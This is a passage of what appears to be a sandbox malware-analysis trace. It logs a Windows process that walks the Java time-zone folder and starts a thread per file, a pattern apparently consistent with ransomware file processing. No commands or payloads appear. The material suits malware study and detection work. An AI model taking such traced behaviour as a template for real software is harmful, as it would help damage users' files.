lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phnom_Penh", cAlternateFileName="PHNOM_~1")) returned 1 [0183.890] wcscmp (_String1="Phnom_Penh", _String2=".") returned 1 [0183.891] wcscmp (_String1="Phnom_Penh", _String2="..") returned 1 [0183.891] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8cb0 [0183.891] wcscpy (in: _Dest=0x8e8cb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.891] wcscat (in: _Dest=0x8e8cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.891] wcscat (in: _Dest=0x8e8cb0, _Source="Phnom_Penh" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Phnom_Penh") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Phnom_Penh" [0183.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b8 [0183.892] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pontianak", cAlternateFileName="PONTIA~1")) returned 1 [0183.892] wcscmp (_String1="Pontianak", _String2=".") returned 1 [0183.892] wcscmp (_String1="Pontianak", _String2="..") returned 1 [0183.892] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8788 [0183.892] wcscpy (in: _Dest=0x8e8788, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.892] wcscat (in: _Dest=0x8e8788, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.892] wcscat (in: _Dest=0x8e8788, _Source="Pontianak" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pontianak") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pontianak" [0183.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb0 [0183.893] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pyongyang", cAlternateFileName="PYONGY~1")) returned 1 [0183.893] wcscmp (_String1="Pyongyang", _String2=".") returned 1 [0183.893] wcscmp (_String1="Pyongyang", _String2="..") returned 1 [0183.893] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8bc0 [0183.893] wcscpy (in: _Dest=0x8e8bc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.893] wcscat (in: _Dest=0x8e8bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.893] wcscat (in: _Dest=0x8e8bc0, _Source="Pyongyang" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pyongyang") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pyongyang" [0183.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0183.894] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qatar", cAlternateFileName="")) returned 1 [0183.894] wcscmp (_String1="Qatar", _String2=".") returned 1 [0183.894] wcscmp (_String1="Qatar", _String2="..") returned 1 [0183.895] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1838 [0183.895] wcscpy (in: _Dest=0x8f1838, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.895] wcscat (in: _Dest=0x8f1838, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.895] wcscat (in: _Dest=0x8f1838, _Source="Qatar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qatar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qatar" [0183.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0183.896] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qyzylorda", cAlternateFileName="QYZYLO~1")) returned 1 [0183.896] wcscmp (_String1="Qyzylorda", _String2=".") returned 1 [0183.896] wcscmp (_String1="Qyzylorda", _String2="..") returned 1 [0183.896] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e94a8 [0183.896] wcscpy (in: _Dest=0x8e94a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.896] wcscat (in: _Dest=0x8e94a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.896] wcscat (in: _Dest=0x8e94a8, _Source="Qyzylorda" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qyzylorda") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qyzylorda" [0183.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e94a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c8 [0183.897] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rangoon", cAlternateFileName="")) returned 1 [0183.897] wcscmp (_String1="Rangoon", _String2=".") returned 1 [0183.897] wcscmp (_String1="Rangoon", _String2="..") returned 1 [0183.897] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e9340 [0183.897] wcscpy (in: _Dest=0x8e9340, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.897] wcscat (in: _Dest=0x8e9340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.897] wcscat (in: _Dest=0x8e9340, _Source="Rangoon" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Rangoon") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Rangoon" [0183.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e9340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18cc [0183.898] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh", cAlternateFileName="")) returned 1 [0183.898] wcscmp (_String1="Riyadh", _String2=".") returned 1 [0183.898] wcscmp (_String1="Riyadh", _String2="..") returned 1 [0183.898] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1678 [0183.898] wcscpy (in: _Dest=0x8f1678, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.898] wcscat (in: _Dest=0x8f1678, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.898] wcscat (in: _Dest=0x8f1678, _Source="Riyadh" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh" [0183.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d4 [0183.899] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh87", cAlternateFileName="")) returned 1 [0183.900] wcscmp (_String1="Riyadh87", _String2=".") returned 1 [0183.900] wcscmp (_String1="Riyadh87", _String2="..") returned 1 [0183.900] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8a58 [0183.900] wcscpy (in: _Dest=0x8e8a58, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.900] wcscat (in: _Dest=0x8e8a58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.900] wcscat (in: _Dest=0x8e8a58, _Source="Riyadh87" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh87") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh87" [0183.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a20 [0183.901] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh88", cAlternateFileName="")) returned 1 [0183.901] wcscmp (_String1="Riyadh88", _String2=".") returned 1 [0183.901] wcscmp (_String1="Riyadh88", _String2="..") returned 1 [0183.901] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e9160 [0183.901] wcscpy (in: _Dest=0x8e9160, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.901] wcscat (in: _Dest=0x8e9160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.901] wcscat (in: _Dest=0x8e9160, _Source="Riyadh88" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh88") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh88" [0183.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e9160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d8 [0183.902] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh89", cAlternateFileName="")) returned 1 [0183.902] wcscmp (_String1="Riyadh89", _String2=".") returned 1 [0183.902] wcscmp (_String1="Riyadh89", _String2="..") returned 1 [0183.902] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e92c8 [0183.902] wcscpy (in: _Dest=0x8e92c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.902] wcscat (in: _Dest=0x8e92c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.902] wcscat (in: _Dest=0x8e92c8, _Source="Riyadh89" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh89") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh89" [0183.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e92c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a24 [0183.903] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sakhalin", cAlternateFileName="")) returned 1 [0183.903] wcscmp (_String1="Sakhalin", _String2=".") returned 1 [0183.903] wcscmp (_String1="Sakhalin", _String2="..") returned 1 [0183.903] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8b48 [0183.903] wcscpy (in: _Dest=0x8e8b48, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.903] wcscat (in: _Dest=0x8e8b48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.904] wcscat (in: _Dest=0x8e8b48, _Source="Sakhalin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Sakhalin") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Sakhalin" [0183.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a1c [0183.904] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Samarkand", cAlternateFileName="SAMARK~1")) returned 1 [0183.904] wcscmp (_String1="Samarkand", _String2=".") returned 1 [0183.905] wcscmp (_String1="Samarkand", _String2="..") returned 1 [0183.905] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8710 [0183.905] wcscpy (in: _Dest=0x8e8710, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.905] wcscat (in: _Dest=0x8e8710, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.905] wcscat (in: _Dest=0x8e8710, _Source="Samarkand" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Samarkand") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Samarkand" [0183.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a14 [0183.906] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seoul", cAlternateFileName="")) returned 1 [0183.906] wcscmp (_String1="Seoul", _String2=".") returned 1 [0183.906] wcscmp (_String1="Seoul", _String2="..") returned 1 [0183.906] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1528 [0183.906] wcscpy (in: _Dest=0x8f1528, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.906] wcscat (in: _Dest=0x8f1528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.906] wcscat (in: _Dest=0x8f1528, _Source="Seoul" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Seoul") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Seoul" [0183.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a10 [0183.907] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shanghai", cAlternateFileName="")) returned 1 [0183.907] wcscmp (_String1="Shanghai", _String2=".") returned 1 [0183.907] wcscmp (_String1="Shanghai", _String2="..") returned 1 [0183.907] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8e18 [0183.907] wcscpy (in: _Dest=0x8e8e18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.907] wcscat (in: _Dest=0x8e8e18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.907] wcscat (in: _Dest=0x8e8e18, _Source="Shanghai" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Shanghai") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Shanghai" [0183.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1770 [0183.908] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Singapore", cAlternateFileName="SINGAP~1")) returned 1 [0183.908] wcscmp (_String1="Singapore", _String2=".") returned 1 [0183.908] wcscmp (_String1="Singapore", _String2="..") returned 1 [0183.908] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8c38 [0183.909] wcscpy (in: _Dest=0x8e8c38, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.909] wcscat (in: _Dest=0x8e8c38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.909] wcscat (in: _Dest=0x8e8c38, _Source="Singapore" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Singapore") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Singapore" [0183.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a34 [0183.910] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Taipei", cAlternateFileName="")) returned 1 [0183.910] wcscmp (_String1="Taipei", _String2=".") returned 1 [0183.910] wcscmp (_String1="Taipei", _String2="..") returned 1 [0183.910] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1138 [0183.910] wcscpy (in: _Dest=0x8f1138, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.910] wcscat (in: _Dest=0x8f1138, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.910] wcscat (in: _Dest=0x8f1138, _Source="Taipei" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Taipei") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Taipei" [0183.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1138, 